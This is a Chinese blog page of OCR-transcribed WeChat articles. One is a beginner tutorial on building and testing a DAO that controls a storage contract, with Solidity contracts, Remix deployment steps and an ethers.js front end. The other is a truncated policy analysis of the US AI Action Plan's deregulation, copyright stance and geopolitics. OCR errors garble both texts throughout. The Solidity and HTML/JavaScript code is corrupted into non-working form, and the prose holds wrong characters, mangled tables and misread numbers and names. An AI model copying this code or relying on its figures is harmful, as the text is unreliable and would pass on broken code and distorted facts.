跳至主要内容

零基礎 DAO 治理實驗:從合約到測試的完整演練

· 閱讀時間約 13 分鐘
w0x7ce
MySelf

发布于 2025-07-26 14:23:22(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 10868 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

零基DA0治理實验:合約到测試的完整演

original wex7ce EI V1ajero 2825年7月26日 14:24 日本 實融目標:創建雨智能合的。合的A(SimpleStorage)用於储存一四数字。合B (SimpLeDAO)作為一去中心化白治组感,將有唯一且排他的權力束修改合約A中的数字,而 道種修改必须經通DAD成員的投票沃策。

0995 DAO控制置板

B887:306

B86F:3

第一步:编寫智能合約

我仍需要雨個合的:一個是被管理的對象,另一個是管理的主糖。

1.1 目合的 SimpleStorage.sol

這借合约的核心是,它有一他“排有者(owner):的概念,业且只有摊有者才能修改数字。我們科 後會将這個“携有害:身份轉交给DA0合的。 操作:在Remix IDE 中創建Sinple5torage.sol 權案,贴入以下完整程式碼。 5olidity se-Identifier: HIT pragna solidity ^0.8.0; /1这留合的是货DA0所管理的财象 contract Simplestorage { uint publlc nyNunber; address public ovner;// 合约的频有密地址 11事件:當所有根通移诗網 event OwnershipTransferred(address indexed previousowner, address //修款符: 留程式码棕查工具,确保只有owner才能熟行某嘿函数 require(nsg.sender -- ouner, "Caller ls not the owner*); 11建横子:合前部署時谨行,投定初始数字和腋有者 constructor(uint _initialNumber){ owner = nsg.sender;// 部署合的 的增址成為初始摊有者 才能股定新数字 function setNunber(uint _newNunber] public onlyowner myNumber = _newNumber; } //任何人都可以馈取数字 function getNunber[) pubLic view returns (uint) { return nyNunber; //韩移所有權的函数,可楼被onLyOwner保膜 function transferDwmership(address newowner) public onlyOuner { require(newowner I= address(e), "New ouner cannot bc thc zcro emit OunershipTransterred(owner, newouner); owner = nevovner:

1.2 治理合的 SimpleDA0.sol

这個合的是我們的DA0,它负责處理提案和投票。當提案通過時,它官以「癌有害:的身份去调用 S1mpleStorage 的 setNumber 函敷. 操作:在Remix IDE 中创建 SimpleDAO.sol 穆案,贴入以下完整程式碍。 Salidity // SPDX-LIcense-IdentIfIer: NIT pragna solidity ^θ.B.D; |1定菱一倡介面(Interface),告斯本合约目標合约有感些功能可以期用。 //道就像一份功能的“就明書”,孩仍的 DA0 知道如何典 SinpleStorage互数 interface Isinplestorage { function setNunber(uint _newNunber] external; function transfer0wnership(address newowner) external; } 11速是DAO治理合豹 contract SimpleDAO { //指向我得想要控制的 5inpleStorage 合的真例 I5implestorage publlc sinplestorage; atdress public owner; napping(addrcss => bool) public isMcmber; uint public nextProposalId; 11提东的数球结摄 |1受案的数球经梢 struct Proposal { uint id; address proposer; string description; uint neNNunberToSet; uint forVotes; uint againstvotes; bool executed; mapping(address => boot ) hasvoted; napping(uint => Proposal) pubLlc proposals; //事件日味 event Proposalcreated{uint id, address proposer, string descriptio event Voted(uint proposalId, address voter, bool supported); event PraposalExecuted{uint proposalId): //部置 DAo 時,必须偶入它要管理的 5inpicStoragc 合约的地址 simpleStorage = ISimpleStorage( sinpleStorageAddress): owner = nsg.sender; } //添加DAO成具 function addMenber (address _newMember] pubLic { require(nsg.sender == ouner, "0nly DAo ouner can add menbers") isNenber[_newMember] = true; //别建提察 function createProposal(string memory _description, uint _newNunbe require(isMenber[msg.sender], "only nenbers can create proposa Proposal storage newProposal = proposals[nextProposalId]; newProposal.proposer - nsg sender; newProposal.description = _description; newProposal newlumberTo5et = _newunber; emit ProposalCreated(nextProposalId, nsg.sender, _description) nextProposalId++; } //报票 function vote(uint _proposalId, bool _support) public { require(isMenber[msg.sender], "only nenbers can vote*); Proposal storage p = proposals[_proposalId]; require(!p.hasvoted[msg-sender] . "You have already voted*): p.hasvoted[nsg sender] = true; 1f (_support) ( p. forvotes++; }else { p.againstvotes++; emit Voted(_proposalId, msg.sender, _support); //块行提案:掌提廉通通,此函数游以DA0的身份颁用SinpleStorage 的函数 function executeProposal(uint _proposalId) public { Proposal storage p = proposals[_proposalId]: require(Ip.executed, *Proposal already executed"); require(p.forvotes > p.againstvotes, *Proposal did not pass"); p.executed = true; // DAo 合的娱用 SinpleStorage 的 setMumber 通数 simpLeStorage. setNumber (p.newlurberToSet) : emit ProposalExecuted(_proposalId);

第二步:在Remix中部署與配置權限

道一步至關重要,我们路刻建雨回合的的置例,亚將它们的耀力保建立起来。 操作:暂格按照以下顺序软行。

1.编合的:在Remix的SalidityCompiler页,分别中

SinpleStorage.sol和 SimpleDA0,sol,贴 Compile 按钮,致保雨惬合的都成功 崩露且没有错换。

2.部sinpleStorage:

前往 Deploy& Run Transactions 标页。

  • 在CONTRACT 下拉菜单中,理 SinpleStorage.

  • 在 Dcploy 按超旁的_initialNumbcr 截位输入一图初始数字,如 166。

o黏聖DepLoy。在 MetaMask 弹际中確想交易(插使用您的户1)。 部署成功德,在下方的 DepLoyed Contracts 列表中奢出现一個 SimpleStorage 實 例。贴旁遗的要固示,表其合的地址,我們碼此地址为STORAGE_ADDRES5.

1.部 SinpleDAO:

  • 回到顶部的CONTRACT 下拉菜单,遗次通握 SimpleDA0。

在DepLoy按翻旁的_simpleStorageAddress榴位,贴上删才植的 STORAGE_ADDRESS, 點聚Deploy.在MetaMask 中两次殖交易(分使用户1)。

  • 部暑成功後,列表中需出现一困新的SimplcDAO實例。同搓地,其合的地址。我們

稀此地址卷DAO_ADDRESS.

1.執行键的權限交接:

在 Deployed Contracts 列表中,找到黏阳 SinpleStorage 胃例的介面。 o找到橙色的transferowncrship 函数。 在旁遗的newOwner 入框中,贴上剧才的 DAO_ADDRESS。 贴型transact 按辑。在MetaMask 中確超交易(必须由概户 1敬起,因幕它此刻仍是 Sinplestorage 的觅有者)。

1.融盟限交接:

o權限交接的交易成功,回到simple5toragc 置例的介面。 黏型暂色的owner 被钮(此接辑只取数,不清耗Gas)。 。下方返回的地址必须是您製的DAO_ADDRESs.遗證明SimpleStorage 的所有榴已成 功辑移绘 SimpleDAO 合的。

1.為DAO添加测腻成员:

  • 黏開 SinpleDA0 實例的介面。

找到adHember 函数。 在_newMcnber 输入框中,貼人您MctaMask 中的第二圆幅户地址。 o黏量transact 按钮,亚用户1在 MetaMask 中殖交易。 至此,所有的智能合的配置工作已全部完成。

第三步:编寫運行前端交互界面

现在我們需要一個细页来與DAO進行互助。 操作:

1.在您的電胸上創建一個名為 dao.htnl的案。

2.等以下完整的 HTML 程式碼贴人旅案。

3.最重要的一步:格改程式弧開顾虚的雨個地址,將其替换為您在上一步中崔震的

STORAGE_ADDRESS 和 DAO_ADDRESS, TWLH

<ID0CTYPE htnl> <,tueH-4z=buel (414 cheadx cneta charset=UTF-8"$ ctitle>DA0 治理實验s/title> cstyles body font-family: -apple-systen, BlinkMacSystemFont, Segce .container { text-align: center; padding: 3Bpx; hackground-co hl, hz, h3 {color: W627EEA;} button ( background-color: t627EEA; color: white; border: nen hutton:hover:not(:disabled) ( background-color: #4a67de; } button:disabled { opacity: e.6; cursor: not-allowed; } input f padding: 10px; border: 1px solid #ecc; border-radlus: .info-section, .contract-section { margin-top: 25px; text-ali. .proposal-card { border: 1px solid #627EEA: border-radius: 8p .message { margin-top: 15px; font-weight: bold; } .error { color: dc3545; } success {color:#28a745:} .warning-box background-color: fff3cd; border: lpx solid # ≤/stylea c/head> cbody> <div class=container'> <h1>DA0 治睡實睡c/h1x <div class="warning-box"s trong重要:</strang行前,读殖保已在 HTML 權案的&lt;scrif c/divs <button 1c=connectButton>谨继到 MetaNask</button> sdiv class="infa-section'> <p id-"statusclass="ncssage">状燃:未速结</px cp 1d=account'>幅户:未理</p> s/div> xdiv id--sinplestoragecontrol" class-"contract-section style <h2>S1nplestorage 联感</h2> spsstrong>被控合的地址:</stronga span id="storageContract! <button 1d-"retreshstorageNumber>剧新数字</button> </div> xdiv id--daocontrol class="contract-section" style-*display: <h2>DA0控制面板</h2> sp>strong>0Ao 合的地址:</strong> <span id=*dapContractAddr c.pues-lesodoud,=ssels Aips ch3>剧键新提累</h3> sinput type=*text" id="praposalDescription' placeheld cbutton 1d-createProposaLButton>創健提案</button> sp i="proposalstatus" class=*nessage"s</p> </divs <div 1c-"proposalsList" style-"nargin-top: 20px;"s <h3>现有提案</h3> c/divs 52 </divs cscript src=-https://unpkg-con/ethersg5-6-o/dist/ethers-und.min.j <scripts !!!替换為震原部署的合的地址!!! Const SIMPLE_STORAGE_CONTRACT_ADDRESS = *YOUR_SINPLE_STORAGE_ ConSt DAO_CONTRACT_ADDRESS - 'YOUR_DAO_CONTRACT_ADDRESS'; const SIMPLE STORAGE ABI = ["function getNumber[) vien return const DAo_ABI = [ "constructor(address _simple5toragcAddress] let provider, s1gner, sinpleStoragecontract, daocontract; Const connectButton = document .getElenentById['connectButten' const sinplestorageControl = document -getElementById(*simples Const storageAddressDisplay - docunent-getElementById( storag Const daoAddressDisplay = document -getElenentById( *daoContrat const currentContractNunber = docunent-getElementById(*curren Const createProposaLButton = document -getElementById(*createP const proposalsListoiv - document.getElenentById('proposalsL1 connectButton.addEventListener( 'click, connectwallet); async function connecthallet() { 1f (typeof window.ethereum ---“undefined’){return;} try { await window.ethereum.request(( nethod: 'eth_requestA provider - new ethers.providers.Meb3Provider(window.e signer = provider.get5igner(): const account = wwait signer-getAddress[); statusEl.textContent-‘糖:已建结'; accountEl.textContent =*栋户: s{account}: connectButton.disabled = true; awalt initializeDApp(1; }catch [error){ console.error(涯接失:,error]:} async function initializeDApp(l { sinpleStorageContract = new ethers.Contract(SIMPLE_STORAC daocontrol. style.display = block ; daoAddressDisplay.textContent - DAO_CONTRACT_ADDRESS; aMalt updatestorageNumber(l: aMait loadPraposals(); refreshStorageNumberBtn addEventListener('click', updateStora async function updateStorageNumher() { try( currentContractNumber.textcontent =A中...'; 10 1 const numher = await simpleStorageContract.getNumber( currentcontractNunber,textContent = number.toString()

1.03

}catch [error){console.error(更薪数字失:,error]:} createProposalButton.addEventListener( click', createProposal async functlon createProposalll { const nunber = docunent.gctElenentById('proposalNunber'), If(!cescription 11 Inumber)<return; } 110

  • -。=uauxsesesoo

try( const tx = await daoContract.createProposal(descript1 113 await tx.wait(); awalt loadProposals(): 116 }catch[errar){consple.errar(创建提案失败:,error):} async function loadProposals(1 119 proposalsListDiv.innerHTML =*<h3>现有提案</h3><p>载A中.. .< try { TZT const proposalcount = await daocontract.nextProposalI

1.22

. 2 Z if(proposalCount.isZeru())< proposalsListDiv.inerH proposalsListDiv.1nnerHTNL =<h3>现有提案</h3>; for (let 1 = 0; 1 < proposalcount.toNumber(); 1++) { 125 const p = await daocontract.proposals(i); const card - docunent.createElenent(*div');

1.27

card.classNane = 'proposal-card'; pies-gesodoud. = suenssels*pues 128 card.innerHTML = `ch4>提案 #$[p.id} S{p.executed 3 proposalsListoiv.appendchild (card): 130 document.querySelectorAll('.vote-btn').forEach(btn 132 documcnt.queryselectorAll('-cxecute-btn').forEach(btn 133 }catch (error){consale.error(加敏提系失:,error);} 135 async function handlevote(event) { const 1d = event.target.dataset.1d; 138 const statusEl = document-getElenentById( vote-status-${i 6ET 140 try { 142 const tx = awalt daocontract.vote(id, support); await tx.wait(); statusEl.textContent =‘授票成功!; 145 awalt loadProposals(); }catch (error){consale-error(*投票失致:,error); status

1. 465

148 async functian handleExecute(event) { const 1d = event.target.dataset.1d; 150 const statusEl = docunent-gctElencntById('vote-status-$(i 151 statusEl.textContent=“正在轨行提察...: 153 try{ Const tx = await daoContract.executeProposal(id); 155 await tx.wait(); x await loadProposals(); awalt updatestorageNunber(); }catch(error){consale.errar[=软行失:",error); statust 159 161 if (window.ethereun)( 163 window.ethereum.on(*chainchanged', () => Window. location. 165 </seripts x/bodys 166 </htmlx 15 7

第四步:完整交互测試流程

1.敏勤本地伺服器:在dao.html 橙案所在的目中打開终端,轨行python-m

http.server 8000.

2.防間DApp:用测宽器打http://localhast:8eee/dao.htnl.

建接包(幅户1):贴壁「还结到MctaHask:,便用幅户1道行还接。页面感成功加 鼓业示初始数字100 逾建提案:在「创建新提案:盈域,输入描述(例如将數字更新為777)和口标敏字 4. 777。贴「创建提案按翘在MetaMask中确蕊交易。

5.测试權限:回到Remix中的 SimpleStorage 合約實例,警试直接使用帐户1调用

setNunber 函数。此交易预期會失败,亚提示“Caller is not the owner",橙明檬 限已成功移交给DA0合約,外部帐户無法再直接修改。

6.投票(帐户1):在前莲页面,找到则創建的提案,贴型「投簧成票:亚用帐户1在

MetaMask 中确交易。

7.切换包蓝投票(帐户2):

c打 MetaMask,将需前幅户切换到帐户 2 0细页會白動剧新,再次點壁按訊重新速接罐包。 在同一個提案卡片上。再次贴聚投赞成票;,用幅户2在MetaMask中確記交易。 交易成功後,提案的票数愿更新為「2优成/日反到。

1.软行提案:

現在提案已满足“觉成票大於反對票:的德件。 贴擎「敦行提案按钮(使用概户1或2均可),亚在MetaMask中硬部交易。

1.额察最接结果:

交易成功後,提案卡片會示為(已救行)。 最間键的化是,頂部「simplestorage 状:区域的“目前存的款字」患自劲更新為 100, 交县调求 无史 DAD 控制血板 I&ATEAB交发

a 0 交易调求 88 n1 tzea H 88 2 888中 100

E 交县调求 8 5T6318000 I&ATEAB交置 36: 03001(

Ma:R28T8100

至此。已成功完成了一具借安全權限設置的DA0微提案、投票到最终键上敦行的完整治理流程。

原始排版图

零基礎 DAO 治理實驗:從合約到測試的完整演練:微信公众号导出原始排版图

美国人工智能行动计划:一项关于放松管制、版权模糊化及新地缘政治格局的战略分析

· 閱讀時間約 31 分鐘
w0x7ce
MySelf

发布于 2025-07-25 00:18:54(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 16309 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

治格局的战略分析 original vθx7ce EI V1ajero 2825年7月25日 B0:19 浙江 https : /www. whitehouse . gov/wp- content/uploads/2025/07/Americas-AI-Action-Plan.pdf 辅助分析工具gemini2.5pro I.执行摘要:美国人工智能战略的范式转移 本报告旨在对《英国人工智能行动计划》(以下简称”《行动计划》”)进行全面剖析,该计 划标志着美国人工智能政策的根本性转变。报告的核心论点、关键发现及战略评估概述如 下: “创新优先”原则的确立:本报告开篇即指出,《行动计划》彻底颠覆了前任政府所侣 导的“安全优先”方针1。它废除了此前的行政命令1,转而推素一种“无需许可的创 新”(perm1ss1onless1nnovation)理念‘,其最终目标是在全球人工智能竞赛 中巩固美国的绝对主导地位3

  • 核心战略:故松管制与基础设施建设:该计划的战略基石由两大支柱构成:其一,通过

全面、激进的放松管制来“消除露文绳节”:其二,以“建设,宝贝,建设!” (Build,Baby,Build!)的口号为代表,启动大规模基础设施建设,为人工智能 革命提供动力

  • 版权困境:战略性的模糊处理:本报告的一个核心论点是,《行动计划》对人工智能产

业最重大的“让步“体现在其对版权法的刻意沉默。这种忽略,加上总统公开表示为所 有训练微据付费是“不可行的“言论”,是一项旨在保护人工智能开发者免于承担侵权 责任、以牺牲创作者权利为代价来加造模型开发的战略选择。这与国会正在推进的《霍 利-布鲁门萨尔法案》等立法努力形成了尖锐对立12。

  • 地缘政治的驱动力:该计划被明确定义为应对与中围的地缘战略竞争的产物3。从国内

的放松管制到国际外交,其每一个支柱的设计都旨在超越中国的能力,并确立美国技术 作为全球标准3

  • 行业影响:赢家与输家:该计划的实施将不可避免地造就明显的赢家和输家。大型科技

公司、人工智能开发者以及能源和建筑行业将迎来一轮繁荣。相反,由于版权保护被 削品,创意产业面临着生存危机1。

  • 关键风险:本摘要最后将重点指出该战略的主要风险:推广开源人工智能所带来的国家

(尤其是欧盟)产生的摩据14。 II.解构《人工智能行动计划》:三大支柱深度剖析 本章节将对《行动计划》中涵盖的98多项政策行动进行逐一解构,并按其三大战略支柱进行 组织。分析将聚焦于每项举措的实际影响及其背后的动机。 A.支柱一:加速人工智能创新 该支柱是《行动计划》的哲学核心,致力于为私营部门的人工智能发展创造一个最大限度宽 松的环填 消除露文姆节的指令 《行动计划》的首要行动是“拆除不必要的监管整垒”。这一进程始于立即废除择登时代的 第14110号行政命令,该命令被《行动计划》描述为一套“整量的监董制度””。 放松管制的一个关键机制是威胁扣留对那些制定了“繁重人工智能法规“的州的联邦资金“。 管理和预算办公室(OMB)被指示在做出资助决定时,需考虑各州的“人工智能监管环 境”,这代表了一种强有力的工具,用以推行单一的、联邦层面的、放松管制的标准。 联邦机构,包括联邦通信委员会(FCC)和联邦贸易委员会(FTC),被要求审查现有规则和 过去的执法行动,以确保它们不会”对人工智能创新构成不当负担””。这标志着监管要态向 显著的亲商方向转变。 这种利用联邦资金作为杠杆来对抗州级法规的策略,是联邦权力在这一新兴政策领域的一次 重大宣示。其逻辑链条清晰可见:首先,各州正在积极就人工智能进行立法,形成了一个“辞 片化”的法律格局‘,这被科技公司视为主要的合规负担和创新障碍”。其次,《行动计 划》采纳了科技行业的立场,寻求建立“单一的联邦标准”1"。再次,该计划并未选择政治上 更为因难的明确联邦优先权路径,而是运用了财政权力:如果一个州题布了被行政部门定义 为“整量”的法律,它将失去获得联邦人工智能基础设施资金的资格”。这为各州创造了强大 的激励,促使它们与联邦的放松管制议程保持一致,从而在没有国会正式立法的情况下,有 效地集中了人工智能政策的副定权。此举可能引发围绕州权问题的重大法律和政治挑战。 “美国价值观”指令 《行动计划》规定,联邦政府采购的人工智能必须摆脱“自上而下的意识形态偏见“和所谓的 “觉醒人工智能”(wokeAI)”。这一要求通过一项行政命令得以实施,该命令禁止联邦机 构采购嵌入“多元化、公平和包容性(DEI)意识形态“的大型语言模型(LLM)2"。 美国国家标准与技术研究院(NIST)被指示修订其(人工智能风险管理框架》,以“消除对 错误信息、多元化、公平和包容性以及气候变化的引用”1。这是将特定政治意识形态额入技 术标准的直接尝试。同时,该计划也承认“合成媒体”在法律体系中构成的威胁,呼呼为深应 伤造检测制定法证标准“。 将“错误信息“和“DEI"等概念从NIST框架中剥离的指令,清晰地表明了将政治意识形态嵌入

一个本应中立的技术风险管理工具的意图。NIST的《人工智能风险管理框架》显初是通过一

个多方利益相关者参与的流程制定的,旨在解决广泛的人工智能风险,包括偏见和虚假信息 传播等社会危害”。然而,《行动计划》通过一个政治化的视角重新定义了”危害“和“风 险”,它将焦点集中在“意识形态偏见“和审查制度上,同时将对错误信息的担忧斥为具有政治 动机“,遵过命令NIST修订该框架,行政部门正在利用其行政权力重塑用于评估人工智能风 险的基本语言和概念。这不仅对人工智能见和安全性研究产生了寒蚌效应,还将联邦采购 的巨大力量与特定的文化和政治议程相结合,可能催生出一个迎合这种世界观的人工智能模 型市场。 对开源和开放权重人工智能的战略性推动 《行动计划》明确鼓励开源和开故权重的模型,理由是它们在成为全球标准方面具有“地缘战 略价值”,并且对初创企业、学术界和政府安全采用至关重要1。 为支持这一目标,国家人工智能研究资源(NAIRR)试点项目将被用于为初创企业和研究人 员提供大规模计算能力,将计算资源视为一种商品1。 B.支柱二:建设美国人工智能基础设施 该支柱旨在满足人工智能主导地位对物理世界的需求:数据中心、能源和半导体。 精简建设与审批流程 《行动计划》将环境审批视为建设必要基础设施的主要障碍”。它呼吁通过精简或减轻《围 家环境政策法》(NEPA)、《清洁空气法》和《清洁水法》等主要环境法律下的负担,大幅 加快数据中心、半导体工厂和能源项目的审指速度“。联邦土地将被确定并用于数据中心和 发电设施的建设。 为人工智能革命提供动力 《行动计划》承认,人工智能的能源需求需要对美国电网进行根本性改造。它明确优先考 虑快速部著可调度电源,尤其强调“先进核反应堆技术”。这与此前旨在加速美国核能发展 的行政命令相呼应并予以加强1。该计划还呼呼防止“重要发电设备过早关闭”,并改革能源 市场以确保电网稳定”。 《行动计划》将人工智能的能源需求从一个专业技术问题提升为决定未来国家能源和环境政 策走向的核心驱动力。其内在逻辑是:首先,实现人工暂能的领导地位是不可动摇的国家目 标。其次,领导地位需要巨大的计算能力,而这又依赖于海量且可靠的电力供应”。再 次,当前的电网及其监管框架被认为不足以满足这一爆炸性需求”。因此,为了实现首要目 标(即人工智能主导地位),国家政策必须重新定位,以促进大规模的能源建设。这直接导 远影响在于,人工智能意赛可能将美国末来几十年的能源发展轨透锁定在特定方向上,对气 候目标、土地使用和能源市场的长期结构产生不可逆转的影响。 国内制造与安全 《行动计划》延续了《芯片法案》的实施,但旨在到离“无关的政策要求”,以进一步加速半 导体制造业的发展。它还要求为军事和情报部门建立高安全性数据中心,并加强所有关键 基础设施的网络安全“。 C.支柱三:引额国际人工智能外交与安全 该支柱将国内战略延伸至全球舞台,重点在于推广美国的人工智能技术,同时遇制对手。 出口美国人工智能技术栈 《行动计划》提出了一项积极主动的战略,向盟国出口“全栈式人工智能出口包”—包括硬 件、模型、软件和标准3。此举被明确定义为直接对抗中国影响力的手段1.商务部将牵头 此项工作,并与其他机构协调以促成这些出口交易 加强防御与控制关键节点 《行动计划》呼呼加强对人工智能计算能力的出口管制,并堵塞半导体法规中的漏洞,以阻 止对手获取相关技术,这是对前任政府政策的延续,甚至可能更为严厉“,该计划还提议 探索使用位置验证技术来监控高端人工智能芯片的部警地点,以防止未经授权的访间7。 塑造全球规范 美国将在联合国和经合组织等国际机构中“大力倡导“符合创新和”反映美国价值观“的治理方 法”。这包括积极反对“整重的法规“和“含期的行为准则”,这显然是指向欧盟更为严格的监 管模式1 这一系列外交策略勾勒出一个地缘政治蓝图,即美国扮演中心枢纽的角色,向其盟友“辐条” 国家输出整套人工智能生态系统。其逻辑在于,世界需要人工智能,如果美国不提供,盟友 就会转向中国等竞争对手"。解决方案不仅仅是销售产品,而是出口完整的“全栈“技术5。 这会造成技术和战略上的依验:采用美国技术栈的盟国将被整合进一个由美国主导的技术额 域,其基础设施、标准和数据流都将与美国系统保持一致。这既为美国科技公司创造了巨大 的市场,也建立了一个与美国技术上互操作、并与中国系统相隔离的国家联盟。这是一种现 代形式的技术治国方略,类似于美元在金融体系中扮演的角色。 然而,这一战略不可避免地将与欧盟的监管模式发生冲突,即所调的“布鲁塞尔效应”。欧盟 的《人工智能法案》是全面、基于风险且具有碳外效力的19,它将基本权利和安全青于创新 速度之上。而美国的《行动计划》明确拒绝这种模式,称其“繁重”且与“美国价值观”不 符3,并计划在国际场合积极对抗其影响。这在西方两大主要阵营之间造成了裂痕。企业 将面临相互冲突的合规制度,而美国和欧望将争相让各自的人工智能治理模式被第三国采 纳,可能导数全球数字市场的辞片化。 III.版权困境:一次具有深远影响的刻意忽略 本章是报告的分析核心,旨在剖析《行动计划》中最具争议性且影响最为深远的元素:其对 版权问题的处理方式。

  • 战略性况默:这份长达28页的《行动计划》因其未言明的内容而备受关注。多项分析

证实,该计划并未提及版权问题,也未涉及使用受版权保护作品进行人工智能训练的合 法性。这种沉默并非疏忽,而是一项深思熟虑的政策选择。它实际上维持了一个法律 灰色地带,使人工智能开发者受益,他们可以在法院或国会明确表态之前,默认其行为 是允许的。

  • 总统的“让步”:在发布该计划的公开讲话中,总统明确表达了政府的立场,声称期望

人工智能公司为训练中使用的每一份内容付费是“不可行的”1。他拼称,这样做会削 品美国的AI项目,并将竞争优势拱手让给中国,他声称中国“并没有这样做”。这种 论述将该问题定性为关乎国家经济存亡的大事,从而为牺牲创作者的权利提供了理由。

  • 合理使用的战场:这一政策真空将冲突推向了法庭。人工智能开发者主张,根据美国版

权法,训练模型属于“转换性”合理使用,因为其目的在于提取统计模式和规律,而非 为了其表达目的面复制原作1。而权利人(出版商、唱片公司、艺术家)则认为,这 是前所未有的大规模、系统性版权侵权。他们已提起多起诉讼,试图证明训练行为 不构成合理使用。早期的法院判决结果不一,一些法官认为训练具有转换性,但也 指出使用盗版内容可能会使合理使用抗辩失效。法律前景仍然高度不确定。

  • 许可经济的兴起:为应对这种法律不确定性,一个私营的数据许可市场应运而生。像

OpenAI和谷歌这样的大型人工智能公司正在与Reddit、金融时报、Axel Springer和美联社等大型内容所有者达成数百万美元的交易29。这对人工智能公司 而言是一种风险规避策略,对出版商而言则是新的收入来源11。然而,这些交易是临 时性的、不透明的,并且主要惠及大型、有实力的实体,可能将个体创作者和小型出版 商甩在身后32。作为回应,新的模式正在被提出,例如由版权活算中心(CCC)等组 织管理的集体许可框架13,这可能提供一种更具扩展性的解决方案。 表1:政策冲突-《人工智能行动计划》与《霍利-布鲁门萨尔法案》对比 下表直现地展示了行政部门的放松管制、亲科技立场与一项旨在保护创作者的重大两党立法 努力之间的根本性冲突。这种对比将一个复杂的政策冲突提炼成一个清晰、易于理解的格 式,供利益相关者参考。 《霍利·布鲁门萨尔法案》(明确立 (美国人工智能行动计划》(除含/明 特征 确立场) 场) 末经明确、事先同票,禁止使用13。 为保持竞争力,隐含地允许此行为 使用受版权保护数 据进行训练 无需同意:被视为不可行的障碍19 核心要求:创设了同意的法定权利1 创作者同意权 旨在为AI公司满录障得和负担7 创设新的联邦侵权行为,授权个人提起 慢权费任 损害陪偿诉说13 通过惩罚剧定更严法律的州来寻求建立 明确规定不取代州法律。允许州一级提 联邦优先权 单一联邦标凉12, 俱更强的保护3 人工图能开发者和科技产业。 个体创作者、艺术家和权利人。 主要受益者 这种对版权问题的模期处理,实际上是一种经过精心计算的战略性模糊政策。其逻错在于: 首先,承认版权问题将需要建立一个许可框架,这会减缓创新速度并增加AI公司的成本,从 而破坏该计划以速座为核心的首要目标"。其次,明确否认版权保护将引发强大的创意产业 及其国会盟友的巨大致治和法律反弹”。因此,实现快速、无险碍创新的最务实路径就是保 持沉默。这种沉默在默认情况下创造了一个“无需许可”的环境。它将举证责任推给了权利 人,迫使他们进行品贵的、逐案的法律斗争,这一过程可能需要数年时间。在这段法律不确 定期内,人工智能开发可以全速进行,这正是该计划的核心目标。模糊本身就是政策。 与此同时,法律不确定性和私下许可交易的结合正在催生一个双轨制的创作者体系,该体系 以牺牲个体创作者为代价,使大公司受益。AI公司面临来自诉讼的法律风险11,为了降低其 最有价值、高质量数据来源的风险,它们正在签订许可协议3。它们优先与那些控制着庞 大、有价值的语料库并拥有足够法律实力构成可信威胁的大型、有组织的实体(如主要新闻 出版商、图片库)达成交易3。这创造了一个“许可层“的内容。与此同时,从开放网络上抓 取的大量来自个体艺术家、作家和小型创作者的内容,则仍处于“未许可层”,这些创作者得 不到任何补偿,除了加入集体诉讼外几乎没有实际的追索权。这种动态将人工智能训练的经 济利益集中在少数大型出版商和科技平台手中,而生产了大部分文化产品的个体创作者却狼 排除在外 IV.地缘政治棋局:美、欧、中在人工智能竞赛中的角力 本章节将《美国人工智能行动计划》置于其全球背景下,与主要地缘政治对手的独特策略进 行比较。 表2:全球人工智能治理框架比较(美国、欧盟、中国) 下表提供了一个关键的战略概览,使利益相关者能够迅遗把握世界三大主要人工智能治理模 式的根本差异。它将英国的计划置于全球背景中,揭示了其为何如此专注于放松管制(以与 中国的速度竞争),以及为何它与欧盟的冲突不可避免(源于暂学理念的差异)。 美国(《人工图能行动 欧(《人工暂能法案》) 中国(行业法规) 参数 计划》) “权利优先”,全面、基于风 国家驱动,社会治理,以控制为中 “创新优先”,无需许 总体理 可,市场更动的核松管 降的预防性监管15 心,分散位严格的行业规则24 制 要求训终数据摘要遇明化: 对上游消练采取“适度宽松”,但要 战略性模期,险含地支 版权/ 持会理使用19 权利人可选行退出文本/数据 求数提無源”合法“并尊重知识产 训练数 搜系(TDM)19, 权:重点在于下游内客控制37 AI生成内容源标注24. 无通用要求:计划删除 高风隆系统需按察、可解 透明度 释:AI生成内容源标注9 了“#误信息”的考 要求 量. 正式的四级体系(不可接 在特定行业对高风险应用进行盛 无正式的风险分报体 风险分 24. 系19 受、高、有限、最低风 类 院),并有相应义务 19 通过新设的欧显AI办公室处 依输现有机构(如FT 执法与 由国家主导,通过各部委进行执 以巨限罚款(最高可达全球 C)和法律:计划试图 处得 处罚 法。 年营业额的7%) 限其范围 11,但现实情况更为复杂,且可能对中国 感管美国的计划基于“中国没有版权限制"这一前提“,但现实情况更为复杂,且可能对中国 更有利。中国的监管策略体现了对 上游训练的“适度宽松”,同时对下游内容实施严格控制3。其规定要求训练致据来源“合法” 并尊重知识产权38,但对于训练行为的法律解释仍在发展中。这种方法赋予了中国致府极 大的灵活性。它可以在几乎没有阻力的情况下,允许其国家龙头AI企业利用海量数据集进行 训练(这与美国的目标相似),同时保留在输出阶段打击版权侵权或不良内容的权力。这种 由国家主导的实用主义可能比美国的模式更具竞争力,因为后者陷入了私营实体之间公开 的、对抗性的诉讼混潭。中国可以在不引发混乱的公开斗争的情况下实现发展遗度,这从根 本上削弱了美国《行动计划》的核心理由。 V.行业前景与部门影响分析 本章节将对《行动计划》可能对关键经济部门产生的影响进行前瞻性分析。

  • 人工智能与大型科技公司:得益于极为有利的监管环境,该行业有望实现大规模增长。

联邦对州法律的优先权以及对版权问题的放任态度降低了合规成本。同时,政府对开 源模型和基础设施建设的支持使其成为直接受益者1。

  • 创意产业(出版、音乐、影视):面临生存危机。该计划对未经许可的训练行为的默

许,贬低了创意作品的价值,并威胁到创作者的生计15。一项研究预测,到2628年。 由于人工智能的暂代效应,创作者的收入可能减少21-24%6。他们被迫依赖品贵的 诉讼11和主要惠及大型出版商的临时性许可协议32,这在行业内部遗成了分化。美 国电影协会(MPA)表示,尽管现有版权法足够,但他们担心版权局出台僵化的规则, 限制AI辅助作品的可版权性。

  • 能源、建筑与制造业:将迎来一轮大整荣。对数据中心、半导体工厂和新能源(尤其是

核能)的需求将推动这些行业的大规模投资和就业增长。精摘的环境审批流程将加速 项目进程并提高盈利能力

  • 风险投资与初创企业:对开源人工智能的关注为模型开发降低了门植,创造了重大机

